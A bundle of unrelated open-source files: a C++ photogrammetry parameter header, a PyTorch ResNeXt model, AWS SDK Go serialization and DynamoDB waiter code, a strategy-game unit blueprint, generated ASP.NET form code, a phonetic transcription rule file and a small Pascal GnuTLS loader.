nps;} void set_decal_max_poids_facet_graphe(INT dm){_decal_max_poids_facet_graphe = dm;} void set_test_stab_poids_facet_graphe(INT ts){_test_stab_poids_facet_graphe = ts;} void set_alpha(REAL a) {_alpha = a;} void set_seuil_sup(REAL ss) {_seuil_sup = ss;} void set_seuil_inf(REAL si) {_seuil_inf = si;} void set_complexite(INT c) {_complexite = c;} void set_beta1(REAL b1) {_beta1 = b1;} void set_beta2(REAL b2) {_beta2 = b2;} void set_nb_sol_gardee(INT nsg) {_nb_sol_gardee = nsg;} void set_type_correlation(INT tc) {_type_correlation = tc;} void set_prop_file(string pf) {_prop_file = pf;} void set_resolution_image(bool ri){_resolution_image = ri;} INT mode() {return _mode;} bool afficher() {return _afficher;} bool enregistrer() {return _enregistrer;} bool mne_noyau() {return _mne_noyau;} string repertoir() {return _repertoir;} string cad_file() {return _cad_file;} string mne_file() {return _mne_file;} string cube_header() {return _cube_header;} string phot_a() {return _phot_a;} string phot_b() {return _phot_b;} string toits_file() {return _toits_file;} string facades_file() {return _facades_file;} string batis_file() {return _batis_file;} INT sdng() {return _sdng;} REAL pas() {return _pas;} REAL pas_z() {return _pas_z;} REAL z_sol() {return _z_sol;} REAL seuil_pente() {return _seuil_pente;} REAL seuil_z_min1() {return _seuil_z_min1;} REAL seuil_z_max1() {return _seuil_z_max1;} REAL seuil_z_min2() {return _seuil_z_min2;} REAL seuil_z_max2() {return _seuil_z_max2;} REAL long_min() {return _long_min;} REAL d_teta_min() {return _d_teta_min;} REAL d_teta() {return _d_teta;} REAL d_phi() {return _d_phi;} REAL d_rho() {return _d_rho;} INT nb_max_loc() {return _nb_max_loc;} REAL phi_min() {return _phi_min;} REAL phi_max() {return _phi_max;} REAL angl_min() {return _angl_min;} REAL dist_min() {return _dist_min;} REAL decal_max() {return _decal_max;} INT test_stab() {return _test_stab;} REAL nb_p_mne_min() {return _nb_p_mne_min;} REAL nb_p_mne_moy() {return _nb_p_mne_moy;} REAL nb_p_mne_max() {return _nb_p_mne_max;} REAL nb_p_mne_pas() {return _nb_p_mne_pas;} INT nb_plans_min() {return _nb_plans_min;} INT nb_plans_sup() {return _nb_plans_sup;} INT decal_max_poids_facet_graphe(){return _decal_max_poids_facet_graphe;} INT test_stab_poids_facet_graphe(){return _test_stab_poids_facet_graphe;} REAL alpha() {return _alpha;} REAL seuil_sup() {return _seuil_sup;} REAL seuil_inf() {return _seuil_inf;} INT complexite() {return _complexite;} REAL beta1() {return _beta1;} REAL beta2() {return _beta2;} INT nb_sol_gardee() {return _nb_sol_gardee;} INT type_correlation() {return _type_correlation;} string prop_file() {return _prop_file;} bool resolution_image() {return _resolution_image;} INT _mode; bool _afficher; bool _enregistrer; bool _mne_noyau; string _repertoir; string _cad_file; string _mne_file; string _cube_header; string _cube_data; string _phot_a; string _phot_b; string _toits_file; string _facades_file; string _batis_file; INT _sdng; REAL _pas; REAL _pas_z; INT _cor_fenet; REAL _z_sol; //metre //parameteres de construir une boite REAL _seuil_pente; REAL _seuil_z_min1; REAL _seuil_z_max1; REAL _seuil_z_min2; REAL _seuil_z_max2; REAL _long_min; //chercher des directions prinicipales REAL _d_teta_min; //chercher des directions prinicipales REAL _d_teta; //transforme de hough REAL _d_phi; //transforme de hough REAL _d_rho; //transforme de hough INT _nb_max_loc; //transforme de hough REAL _phi_min; //transforme de hough REAL _phi_max; //transforme de hough //filtrage de plans REAL _angl_min; //degree REAL _dist_min; //metre REAL _decal_max; //distance maximale entre un plan et un point de mne INT _test_stab; //taille d'element de fermeture REAL _nb_p_mne_min; //en sqr metre REAL _nb_p_mne_moy; //en sqr metre REAL _nb_p_mne_max; //en sqr metre REAL _nb_p_mne_pas; //en sqr metre INT _nb_plans_min; INT _nb_plans_sup; //pour calculer les poids a partir de MNE INT _decal_max_poids_facet_graphe; INT _test_stab_poids_facet_graphe; REAL _alpha; //optimisation noyaux et relaxation REAL _seuil_sup; //le poids minimal no risque REAL _seuil_inf; //le poids minimal no risque INT _complexite; // > 60 temp de calcul est expo REAL _beta1; //critère geo ( fenet horisntale ) REAL _beta2; //critère geo ( fenet adaptative ) INT _nb_sol_gardee; // n premieres solutions ( fenet hor ) INT _type_correlation; //type de correlation : // 1 : fenet adap(cent et norm) // 2 : fenet adap(no cent et norm) // 3 : corr model(cent et norm) // 4 : corr model(no cent et norm) string _prop_file; bool _resolution_image; }; #endif // _HASSAN_PARAMETRES_H /*Footer-MicMac-eLiSe-25/06/2007 Ce logiciel est un programme informatique servant à la mise en correspondances d'images pour la reconstruction du relief. Ce logiciel est régi par la licence CeCILL-B soumise au droit français et respectant les principes de diffusion des logiciels libres. Vous pouvez utiliser, modifier et/ou redistribuer ce programme sous les conditions de la licence CeCILL-B telle que diffusée par le CEA, le CNRS et l'INRIA sur le site "http://www.cecill.info". En contrepartie de l'accessibilité au code source et des droits de copie, de modification et de redistribution accordés par cette licence, il n'est offert aux utilisateurs qu'une garantie limitée. Pour les mêmes raisons, seule une responsabilité restreinte pèse sur l'auteur du programme, le titulaire des droits patrimoniaux et les concédants successifs. A cet égard l'attention de l'utilisateur est attirée sur les risques associés au chargement, à l'utilisation, à la modification et/ou au développement et à la reproduction du logiciel par l'utilisateur étant donné sa spécificité de logiciel libre, qui peut le rendre complexe à manipuler et qui le réserve donc à des développeurs et des professionnels avertis possédant des connaissances informatiques approfondies. Les utilisateurs sont donc invités à charger et tester l'adéquation du logiciel à leurs besoins dans des conditions permettant d'assurer la sécurité de leurs systèmes et ou de leurs données et, plus généralement, à l'utiliser et l'exploiter dans les mêmes conditions de sécurité. Le fait que vous puissiez accéder à cet en-tête signifie que vous avez pris connaissance de la licence CeCILL-B, et que vous en avez accepté les termes. Footer-MicMac-eLiSe-25/06/2007*/
{ "pile_set_name": "Github" }
from __future__ import division """ Creates a ResNeXt Model as defined in: Xie, S., Girshick, R., Dollar, P., Tu, Z., & He, K. (2016). Aggregated residual transformations for deep neural networks. arXiv preprint arXiv:1611.05431. import from https://github.com/facebookresearch/ResNeXt/blob/master/models/resnext.lua """ import math import torch.nn as nn import torch.nn.functional as F from torch.nn import init import torch __all__ = ['resnext50', 'resnext101', 'resnext152'] class Bottleneck(nn.Module): """ RexNeXt bottleneck type C """ expansion = 4 def __init__(self, inplanes, planes, baseWidth, cardinality, stride=1, downsample=None): """ Constructor Args: inplanes: input channel dimensionality planes: output channel dimensionality baseWidth: base width. cardinality: num of convolution groups. stride: conv stride. Replaces pooling layer. """ super(Bottleneck, self).__init__() D = int(math.floor(planes * (baseWidth / 64))) C = cardinality self.conv1 = nn.Conv2d(inplanes, D*C, kernel_size=1, stride=1, padding=0, bias=False) self.bn1 = nn.BatchNorm2d(D*C) self.conv2 = nn.Conv2d(D*C, D*C, kernel_size=3, stride=stride, padding=1, groups=C, bias=False) self.bn2 = nn.BatchNorm2d(D*C) self.conv3 = nn.Conv2d(D*C, planes * 4, kernel_size=1, stride=1, padding=0, bias=False) self.bn3 = nn.BatchNorm2d(planes * 4) self.relu = nn.ReLU(inplace=True) self.downsample = downsample def forward(self, x): residual = x out = self.conv1(x) out = self.bn1(out) out = self.relu(out) out = self.conv2(out) out = self.bn2(out) out = self.relu(out) out = self.conv3(out) out = self.bn3(out) if self.downsample is not None: residual = self.downsample(x) out += residual out = self.relu(out) return out class ResNeXt(nn.Module): """ ResNext optimized for the ImageNet dataset, as specified in https://arxiv.org/pdf/1611.05431.pdf """ def __init__(self, baseWidth, cardinality, layers, num_classes): """ Constructor Args: baseWidth: baseWidth for ResNeXt. cardinality: number of convolution groups. layers: config of layers, e.g., [3, 4, 6, 3] num_classes: number of classes """ super(ResNeXt, self).__init__() block = Bottleneck self.cardinality = cardinality self.baseWidth = baseWidth self.num_classes = num_classes self.inplanes = 64 self.output_size = 64 self.conv1 = nn.Conv2d(3, 64, 7, 2, 3, bias=False) self.bn1 = nn.BatchNorm2d(64) self.relu = nn.ReLU(inplace=True) self.maxpool1 = nn.MaxPool2d(kernel_size=3, stride=2, padding=1) self.layer1 = self._make_layer(block, 64, layers[0]) self.layer2 = self._make_layer(block, 128, layers[1], 2) self.layer3 = self._make_layer(block, 256, layers[2], 2) self.layer4 = self._make_layer(block, 512, layers[3], 2) self.avgpool = nn.AvgPool2d(7) self.fc = nn.Linear(512 * block.expansion, num_classes) for m in self.modules(): if isinstance(m, nn.Conv2d): n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels m.weight.data.normal_(0, math.sqrt(2. / n)) elif isinstance(m, nn.BatchNorm2d): m.weight.data.fill_(1) m.bias.data.zero_() def _make_layer(self, block, planes, blocks, stride=1): """ Stack n bottleneck modules where n is inferred from the depth of the network. Args: block: block type used to construct ResNext planes: number of output channels (need to multiply by block.expansion) blocks: number of blocks to be built stride: factor to reduce the spatial dimensionality in the first bottleneck of the block. Returns: a Module consisting of n sequential bottlenecks. """ downsample = None if stride != 1 or self.inplanes != planes * block.expansion: downsample = nn.Sequential( nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False), nn.BatchNorm2d(planes * block.expansion), ) layers = [] layers.append(block(self.inplanes, planes, self.baseWidth, self.cardinality, stride, downsample)) self.inplanes = planes * block.expansion for i in range(1, blocks): layers.append(block(self.inplanes, planes, self.baseWidth, self.cardinality)) return nn.Sequential(*layers) def forward(self, x): x = self.conv1(x) x = self.bn1(x) x = self.relu(x) x = self.maxpool1(x) x = self.layer1(x) x = self.layer2(x) x = self.layer3(x) x = self.layer4(x) x = self.avgpool(x) x = x.view(x.size(0), -1) x = self.fc(x) return x def resnext50(baseWidth, cardinality): """ Construct ResNeXt-50. """ model = ResNeXt(baseWidth, cardinality, [3, 4, 6, 3], 1000) return model def resnext101(baseWidth, cardinality): """ Construct ResNeXt-101. """ model = ResNeXt(baseWidth, cardinality, [3, 4, 23, 3], 1000) return model def resnext152(baseWidth, cardinality): """ Construct ResNeXt-152. """ model = ResNeXt(baseWidth, cardinality, [3, 8, 36, 3], 1000) return model
{ "pile_set_name": "Github" }
package queryutil import ( "encoding/base64" "fmt" "net/url" "reflect" "sort" "strconv" "strings" "time" "github.com/aws/aws-sdk-go/private/protocol" ) // Parse parses an object i and fills a url.Values object. The isEC2 flag // indicates if this is the EC2 Query sub-protocol. func Parse(body url.Values, i interface{}, isEC2 bool) error { q := queryParser{isEC2: isEC2} return q.parseValue(body, reflect.ValueOf(i), "", "") } func elemOf(value reflect.Value) reflect.Value { for value.Kind() == reflect.Ptr { value = value.Elem() } return value } type queryParser struct { isEC2 bool } func (q *queryParser) parseValue(v url.Values, value reflect.Value, prefix string, tag reflect.StructTag) error { value = elemOf(value) // no need to handle zero values if !value.IsValid() { return nil } t := tag.Get("type") if t == "" { switch value.Kind() { case reflect.Struct: t = "structure" case reflect.Slice: t = "list" case reflect.Map: t = "map" } } switch t { case "structure": return q.parseStruct(v, value, prefix) case "list": return q.parseList(v, value, prefix, tag) case "map": return q.parseMap(v, value, prefix, tag) default: return q.parseScalar(v, value, prefix, tag) } } func (q *queryParser) parseStruct(v url.Values, value reflect.Value, prefix string) error { if !value.IsValid() { return nil } t := value.Type() for i := 0; i < value.NumField(); i++ { elemValue := elemOf(value.Field(i)) field := t.Field(i) if field.PkgPath != "" { continue // ignore unexported fields } if field.Tag.Get("ignore") != "" { continue } if protocol.CanSetIdempotencyToken(value.Field(i), field) { token := protocol.GetIdempotencyToken() elemValue = reflect.ValueOf(token) } var name string if q.isEC2 { name = field.Tag.Get("queryName") } if name == "" { if field.Tag.Get("flattened") != "" && field.Tag.Get("locationNameList") != "" { name = field.Tag.Get("locationNameList") } else if locName := field.Tag.Get("locationName"); locName != "" { name = locName } if name != "" && q.isEC2 { name = strings.ToUpper(name[0:1]) + name[1:] } } if name == "" { name = field.Name } if prefix != "" { name = prefix + "." + name } if err := q.parseValue(v, elemValue, name, field.Tag); err != nil { return err } } return nil } func (q *queryParser) parseList(v url.Values, value reflect.Value, prefix string, tag reflect.StructTag) error { // If it's empty, generate an empty value if !value.IsNil() && value.Len() == 0 { v.Set(prefix, "") return nil } if _, ok := value.Interface().([]byte); ok { return q.parseScalar(v, value, prefix, tag) } // check for unflattened list member if !q.isEC2 && tag.Get("flattened") == "" { if listName := tag.Get("locationNameList"); listName == "" { prefix += ".member" } else { prefix += "." + listName } } for i := 0; i < value.Len(); i++ { slicePrefix := prefix if slicePrefix == "" { slicePrefix = strconv.Itoa(i + 1) } else { slicePrefix = slicePrefix + "." + strconv.Itoa(i+1) } if err := q.parseValue(v, value.Index(i), slicePrefix, ""); err != nil { return err } } return nil } func (q *queryParser) parseMap(v url.Values, value reflect.Value, prefix string, tag reflect.StructTag) error { // If it's empty, generate an empty value if !value.IsNil() && value.Len() == 0 { v.Set(prefix, "") return nil } // check for unflattened list member if !q.isEC2 && tag.Get("flattened") == "" { prefix += ".entry" } // sort keys for improved serialization consistency. // this is not strictly necessary for protocol support. mapKeyValues := value.MapKeys() mapKeys := map[string]reflect.Value{} mapKeyNames := make([]string, len(mapKeyValues)) for i, mapKey := range mapKeyValues { name := mapKey.String() mapKeys[name] = mapKey mapKeyNames[i] = name } sort.Strings(mapKeyNames) for i, mapKeyName := range mapKeyNames { mapKey := mapKeys[mapKeyName] mapValue := value.MapIndex(mapKey) kname := tag.Get("locationNameKey") if kname == "" { kname = "key" } vname := tag.Get("locationNameValue") if vname == "" { vname = "value" } // serialize key var keyName string if prefix == "" { keyName = strconv.Itoa(i+1) + "." + kname } else { keyName = prefix + "." + strconv.Itoa(i+1) + "." + kname } if err := q.parseValue(v, mapKey, keyName, ""); err != nil { return err } // serialize value var valueName string if prefix == "" { valueName = strconv.Itoa(i+1) + "." + vname } else { valueName = prefix + "." + strconv.Itoa(i+1) + "." + vname } if err := q.parseValue(v, mapValue, valueName, ""); err != nil { return err } } return nil } func (q *queryParser) parseScalar(v url.Values, r reflect.Value, name string, tag reflect.StructTag) error { switch value := r.Interface().(type) { case string: v.Set(name, value) case []byte: if !r.IsNil() { v.Set(name, base64.StdEncoding.EncodeToString(value)) } case bool: v.Set(name, strconv.FormatBool(value)) case int64: v.Set(name, strconv.FormatInt(value, 10)) case int: v.Set(name, strconv.Itoa(value)) case float64: v.Set(name, strconv.FormatFloat(value, 'f', -1, 64)) case float32: v.Set(name, strconv.FormatFloat(float64(value), 'f', -1, 32)) case time.Time: const ISO8601UTC = "2006-01-02T15:04:05Z" v.Set(name, value.UTC().Format(ISO8601UTC)) default: return fmt.Errorf("unsupported value for param %s: %v (%s)", name, r.Interface(), r.Type().Name()) } return nil }
{ "pile_set_name": "Github" }
UnitBlueprint { AI = { InitialAutoMode = true, }, Audio = { Close = Sound { Bank = 'UEB', Cue = 'UEB2305_Close', LodCutoff = 'UnitMove_LodCutoff', }, DeathExplosion = Sound { Bank = 'UELDestroy', Cue = 'UEB_Destroy_Lrg_PreDestroy', LodCutoff = 'UnitMove_LodCutoff', }, Destroyed = Sound { Bank = 'UELDestroy', Cue = 'UEB_Destroy_Huge', LodCutoff = 'UnitMove_LodCutoff', }, DoneBeingBuilt = Sound { Bank = 'UEB', Cue = 'UEB2305_Activate', LodCutoff = 'UnitMove_LodCutoff', }, NuclearLaunchDetected = Sound { Bank = 'XGG', Cue = 'Computer_Computer_MissileLaunch_01351', }, Open = Sound { Bank = 'UEB', Cue = 'UEB2305_Open', LodCutoff = 'UnitMove_LodCutoff', }, UISelection = Sound { Bank = 'Interface', Cue = 'UEF_Select_Gun', LodCutoff = 'UnitMove_LodCutoff', }, }, Buffs = { Regen = { Level1 = 3, Level2 = 6, Level3 = 9, Level4 = 12, Level5 = 15, }, }, BuildIconSortPriority = 150, Categories = { 'PRODUCTSC1', 'SELECTABLE', 'BUILTBYTIER3ENGINEER', 'BUILTBYTIER3COMMANDER', 'UEF', 'STRUCTURE', 'STRATEGIC', 'TECH3', 'NUKE', 'SILO', 'DRAGBUILD', 'SIZE12', 'VISIBLETORECON', 'RECLAIMABLE', 'SORTSTRATEGIC', 'SHOWATTACKRETICLE', 'VOLATILE', 'CQUEMOV', --"CQUEMOV" enables the selection and move commands during construction }, Defense = { AirThreatLevel = 0, ArmorType = 'Structure', EconomyThreatLevel = 1693, Health = 4000, MaxHealth = 4000, RegenRate = 0, SubThreatLevel = 0, SurfaceThreatLevel = 0, }, Description = '<LOC ueb2305_desc>Strategic Missile Launcher', Display = { Abilities = { '<LOC ability_manuallaunch>Manual Launch', '<LOC ability_deathaoe>Volatile', }, AnimationOpen = '/units/ueb2305/ueb2305_aopen.sca', Mesh = { IconFadeInZoom = 130, LODs = { { LODCutoff = 140, ShaderName = 'Unit', }, { AlbedoName = 'ueb2305_lod1_albedo.dds', LODCutoff = 300, ShaderName = 'Unit', SpecularName = 'ueb2305_lod1_specteam.dds', }, }, }, PlaceholderMeshName = 'UXB0026', SpawnRandomRotation = true, Tarmacs = { { Albedo = 'Tarmacs/Tar8x_01_albedo', DeathLifetime = 300, FadeOut = 150, Length = 8, Normal = 'Tarmacs/Tar8x_01_normals', Orientations = { 0, 90, 180, 270, }, RemoveWhenDead = false, Width = 8, }, }, UniformScale = 0.04, }, Economy = { BuildCostEnergy = 210000, BuildCostMass = 15000, BuildRate = 1500, BuildTime = 25000, RebuildBonusIds = { 'ueb2305', }, }, General = { Category = 'Strategic', Classification = 'RULEUC_Weapon', CommandCaps = { RULEUCC_Attack = false, RULEUCC_CallTransport = false, RULEUCC_Capture = false, RULEUCC_Guard = false, RULEUCC_Move = false, RULEUCC_Nuke = true, RULEUCC_Patrol = false, RULEUCC_Pause = true, RULEUCC_Reclaim = false, RULEUCC_Repair = false, RULEUCC_RetaliateToggle = true, RULEUCC_SiloBuildNuke = true, RULEUCC_Stop = true, RULEUCC_Transport = false, }, FactionName = 'UEF', Icon = 'land', SelectionPriority = 5, TechLevel = 'RULEUTL_Secret', UnitName = '<LOC ueb2305_name>Stonager', UnitWeight = 1, }, Intel = { VisionRadius = 28, }, Interface = { HelpText = '<LOC ueb2305_help>Strategic Missile Launcher', }, LifeBarHeight = 0.075, LifeBarOffset = 1.25, LifeBarSize = 2.5, Physics = { BankingSlope = 0, BuildOnLayerCaps = { LAYER_Air = false, LAYER_Land = true, LAYER_Orbit = false, LAYER_Seabed = false, LAYER_Sub = false, LAYER_Water = false, }, DragCoefficient = 0.2, FlattenSkirt = true, MaxSteerForce = 0, MeshExtentsX = 3.6, MeshExtentsY = 1.45, MeshExtentsZ = 3.6, MinSpeedPercent = 0, MotionType = 'RULEUMT_None', SkirtOffsetX = -1.5, SkirtOffsetZ = -1.5, SkirtSizeX = 6, SkirtSizeZ = 6, TurnRate = 0, }, SelectionSizeX = 1.8, SelectionSizeZ = 1.9, SelectionThickness = 0.37, SizeX = 2.9, SizeY = 0.9, SizeZ = 2.9, StrategicIconName = 'icon_structure3_missile', StrategicIconSortPriority = 175, Veteran = { Level1 = 30, Level2 = 60, Level3 = 90, Level4 = 120, Level5 = 150, }, Weapon = { { AboveWaterTargetsOnly = true, Audio = { Fire = Sound { Bank = 'URLWeapon', Cue = 'URB2305_Missile_Cruise', LodCutoff = 'Weapon_LodCutoff', }, }, BallisticArc = 'RULEUBA_None', CollideFriendly = false, CountedProjectile = true, Damage = 0, DamageFriendly = true, DamageType = 'Nuke', DisplayName = 'Nuclear Warhead', EnergyDrainPerSecond = 0, EnergyRequired = 0, FireTargetLayerCapsTable = { Land = 'Land|Water|Seabed', Seabed = 'Land|Water|Seabed', Sub = 'Land|Water|Seabed', Water = 'Land|Water|Seabed', }, FiringTolerance = 2, ForceSingleFire = true, InitialProjectileStorage = 0, Label = 'NukeMissiles', ManualFire = 1, MaxProjectileStorage = 5, MaxRadius = 20000, MinRadius = 0, MuzzleSalvoDelay = 0, MuzzleSalvoSize = 1, MuzzleVelocity = 0, NukeInnerRingDamage = 70000, NukeInnerRingRadius = 30, NukeInnerRingTicks = 24, NukeInnerRingTotalTime = 0, NukeOuterRingDamage = 500, NukeOuterRingRadius = 40, NukeOuterRingTicks = 20, NukeOuterRingTotalTime = 0, NukeWeapon = true, ProjectileId = '/projectiles/TIFMissileNuke01/TIFMissileNuke01_proj.bp', ProjectilesPerOnFire = 1, RackBones = { { MuzzleBones = { 'Muzzle', }, RackBone = 'Muzzle', }, }, RackFireTogether = false, RackRecoilDistance = 0, RackReloadTimeout = 0, RackSalvoChargeTime = 0, RackSalvoReloadTime = 0, RackSalvoSize = 1, RackSlavedToTurret = false, RangeCategory = 'UWRC_IndirectFire', RateOfFire = 1, TargetCheckInterval = 0.5, TargetRestrictDisallow = 'UNTARGETABLE', TurretDualManipulators = false, TurretPitch = 0, TurretPitchRange = 0, TurretPitchSpeed = 0, TurretYaw = 0, TurretYawRange = 0, TurretYawSpeed = 0, Turreted = false, WeaponCategory = 'Missile', WeaponRepackTimeout = 17, WeaponUnpackAnimation = '/units/ueb2305/ueb2305_aopen.sca', WeaponUnpackAnimationRate = 1, WeaponUnpacks = true, }, { Damage = 10000, DamageFriendly = true, DamageRadius = 6, DamageType = 'DeathExplosion', DisplayName = 'Death Weapon', DummyWeapon = true, Label = 'DeathWeapon', WeaponCategory = 'Death', }, }, Wreckage = { Blueprint = '/props/DefaultWreckage/DefaultWreckage_prop.bp', EnergyMult = 0, HealthMult = 0.9, MassMult = 0.9, ReclaimTimeMultiplier = 1, WreckageLayers = { Air = false, Land = true, Seabed = false, Sub = false, Water = false, }, }, }
{ "pile_set_name": "Github" }
package vm /* ** converts an integer to a "floating point byte", represented as ** (eeeeexxx), where the real value is (1xxx) * 2^(eeeee - 1) if ** eeeee != 0 and (xxx) otherwise. */ func Int2fb(x int) int { e := 0 /* exponent */ if x < 8 { return x } for x >= (8 << 4) { /* coarse steps */ x = (x + 0xf) >> 4 /* x = ceil(x / 16) */ e += 4 } for x >= (8 << 1) { /* fine steps */ x = (x + 1) >> 1 /* x = ceil(x / 2) */ e++ } return ((e + 1) << 3) | (x - 8) } /* converts back */ func Fb2int(x int) int { if x < 8 { return x } else { return ((x & 7) + 8) << uint((x>>3)-1) } }
{ "pile_set_name": "Github" }
//------------------------------------------------------------------------------ // <auto-generated> // This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if // the code is regenerated. // </auto-generated> //------------------------------------------------------------------------------ namespace KalikoCMS.Identity.Admin.Identity { public partial class CreateUser { /// <summary> /// Feedback control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.Literal Feedback; /// <summary> /// FormFields control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.Panel FormFields; /// <summary> /// UserName control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox UserName; /// <summary> /// Password control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox Password; /// <summary> /// ConfirmPassword control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox ConfirmPassword; /// <summary> /// FirstName control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox FirstName; /// <summary> /// SurName control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox SurName; /// <summary> /// Email control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox Email; /// <summary> /// PhoneNumber control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.TextBox PhoneNumber; /// <summary> /// Roles control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.Literal Roles; /// <summary> /// SaveButton control. /// </summary> /// <remarks> /// Auto-generated field. /// To modify move field declaration from designer file to code-behind file. /// </remarks> protected global::System.Web.UI.WebControls.LinkButton SaveButton; } }
{ "pile_set_name": "Github" }
// Code generated by private/model/cli/gen-api/main.go. DO NOT EDIT. package dynamodb import ( "time" "github.com/aws/aws-sdk-go/aws" "github.com/aws/aws-sdk-go/aws/request" ) // WaitUntilTableExists uses the DynamoDB API operation // DescribeTable to wait for a condition to be met before returning. // If the condition is not met within the max attempt window, an error will // be returned. func (c *DynamoDB) WaitUntilTableExists(input *DescribeTableInput) error { return c.WaitUntilTableExistsWithContext(aws.BackgroundContext(), input) } // WaitUntilTableExistsWithContext is an extended version of WaitUntilTableExists. // With the support for passing in a context and options to configure the // Waiter and the underlying request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *DynamoDB) WaitUntilTableExistsWithContext(ctx aws.Context, input *DescribeTableInput, opts ...request.WaiterOption) error { w := request.Waiter{ Name: "WaitUntilTableExists", MaxAttempts: 25, Delay: request.ConstantWaiterDelay(20 * time.Second), Acceptors: []request.WaiterAcceptor{ { State: request.SuccessWaiterState, Matcher: request.PathWaiterMatch, Argument: "Table.TableStatus", Expected: "ACTIVE", }, { State: request.RetryWaiterState, Matcher: request.ErrorWaiterMatch, Expected: "ResourceNotFoundException", }, }, Logger: c.Config.Logger, NewRequest: func(opts []request.Option) (*request.Request, error) { var inCpy *DescribeTableInput if input != nil { tmp := *input inCpy = &tmp } req, _ := c.DescribeTableRequest(inCpy) req.SetContext(ctx) req.ApplyOptions(opts...) return req, nil }, } w.ApplyOptions(opts...) return w.WaitWithContext(ctx) } // WaitUntilTableNotExists uses the DynamoDB API operation // DescribeTable to wait for a condition to be met before returning. // If the condition is not met within the max attempt window, an error will // be returned. func (c *DynamoDB) WaitUntilTableNotExists(input *DescribeTableInput) error { return c.WaitUntilTableNotExistsWithContext(aws.BackgroundContext(), input) } // WaitUntilTableNotExistsWithContext is an extended version of WaitUntilTableNotExists. // With the support for passing in a context and options to configure the // Waiter and the underlying request options. // // The context must be non-nil and will be used for request cancellation. If // the context is nil a panic will occur. In the future the SDK may create // sub-contexts for http.Requests. See https://golang.org/pkg/context/ // for more information on using Contexts. func (c *DynamoDB) WaitUntilTableNotExistsWithContext(ctx aws.Context, input *DescribeTableInput, opts ...request.WaiterOption) error { w := request.Waiter{ Name: "WaitUntilTableNotExists", MaxAttempts: 25, Delay: request.ConstantWaiterDelay(20 * time.Second), Acceptors: []request.WaiterAcceptor{ { State: request.SuccessWaiterState, Matcher: request.ErrorWaiterMatch, Expected: "ResourceNotFoundException", }, }, Logger: c.Config.Logger, NewRequest: func(opts []request.Option) (*request.Request, error) { var inCpy *DescribeTableInput if input != nil { tmp := *input inCpy = &tmp } req, _ := c.DescribeTableRequest(inCpy) req.SetContext(ctx) req.ApplyOptions(opts...) return req, nil }, } w.ApplyOptions(opts...) return w.WaitWithContext(ctx) }
{ "pile_set_name": "Github" }
# Copyright (C) 2012 Olga Yakovleva <yakovleva.o.v@gmail.com> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 2.1 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. define TranscribeLetterSequence a -> ey0 || _ \.#. ,, a -> ey1 || _ .#. ,, [b|d|p|t|v|z] -> ... iy0 || _ \.#. ,, [b|d|p|t|v|z] -> ... iy1 || _ .#. ,, c -> s iy0 || _ \.#. ,, c -> s iy1 || _ .#. ,, e -> iy0 || _ \.#. ,, e -> iy1 || _ .#. ,, [f|l|m|n|s] -> eh0 ... || _ \.#. ,, [f|l|m|n|s] -> eh1 ... || _ .#. ,, g -> jh iy0 || _ \.#. ,, g -> jh iy1 || _ .#. ,, h -> ey0 ch || _ \.#. ,, h -> ey1 ch || _ .#. ,, i -> ay0 || _ \.#. ,, i -> ay1 || _ .#. ,, j -> jh ey0 || _ \.#. ,, j -> jh ey1 || _ .#. ,, k -> k ey0 || _ \.#. ,, k -> k ey1 || _ .#. ,, o -> ow0 || _ \.#. ,, o -> ow1 || _ .#. ,, q -> k y uw0 || _ \.#. ,, q -> k y uw1 || _ .#. ,, r -> aa0 r || _ \.#. ,, r -> aa1 r || _ .#. ,, u -> y uw0 || _ \.#. ,, u -> y uw1 || _ .#. ,, w -> d ah1 b ax0 l y uw0 || _ ,, x -> eh0 k s || _ \.#. ,, x -> eh1 k s || _ .#. ,, y -> w ay0 || _ \.#. ,, y -> w ay1 || _ .#. ; regex TranscribeLetterSequence ;
{ "pile_set_name": "Github" }
program testgnutls; uses gnutls; begin loadGnuTLS; end.
{ "pile_set_name": "Github" }
